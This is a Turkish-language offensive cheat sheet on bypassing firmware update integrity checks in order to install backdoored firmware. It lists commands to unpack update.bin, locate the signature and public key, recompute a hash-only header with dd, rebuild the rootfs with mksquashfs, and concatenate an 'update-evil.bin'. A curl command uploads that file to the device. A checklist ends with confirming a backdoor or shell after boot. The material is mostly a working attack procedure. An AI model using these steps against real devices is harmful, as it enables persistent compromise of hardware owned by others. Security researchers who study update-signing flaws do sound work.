Skip to content

Firmware Integrity

hardware integrity

Güncelleme paketinde imza yoksa, sadece hash varsa veya doğrulama client-side ise modifiye firmware yüklenerek backdoor eklenir.

  1. Resmi update paketini indir; format ve imza blob’unu ayır.

  2. İmza algoritmasını ve public key konumunu bul (firmware veya updater).

  3. Hash-only / truncation / TOC-TOU zayıflığını doğrula.

  4. Patch’li rootfs’i yeniden paketleyip kabul ettir.

Terminal window
file update.bin
Terminal window
binwalk update.bin
Terminal window
xxd update.bin | head -40
Terminal window
openssl asn1parse -inform DER -in sig.der 2>/dev/null | head
Terminal window
rg -nHi 'sha256|signature|verify|rsa|ed25519' updater/ extracted/
Terminal window
# Public key çıkarma
binwalk -e firmware.bin; find _firmware* -name '*.pem' -o -name '*public*'
İmza sadece header üzerinde; payload serbest
MD5/SHA1 hash client'ta hesaplanıp sunucuya güveniliyor
Length field ile imza blob truncate → partial verify bypass
Terminal window
# Hash yeniden hesapla ve header'a yaz (hash-only senaryosu)
sha256sum rootfs.img | awk '{print $1}' | xxd -r -p | dd of=update.bin bs=1 seek=OFFSET conv=notrunc
Terminal window
mksquashfs squashfs-root rootfs-new.sqsh -comp xz
Terminal window
cat header.bin rootfs-new.sqsh sig.bin > update-evil.bin
Terminal window
# Cihaza yükle (vendor web / tftp / USB)
curl -F 'file=@update-evil.bin' http://DEVICE/upgrade
[ ] update formatı çözüldü
[ ] imza/hash kapsamı belirlendi
[ ] bypass hipotezi PoC ile doğrulandı
[ ] patch'li paket kabul edildi
[ ] backdoor/shell boot sonrası geldi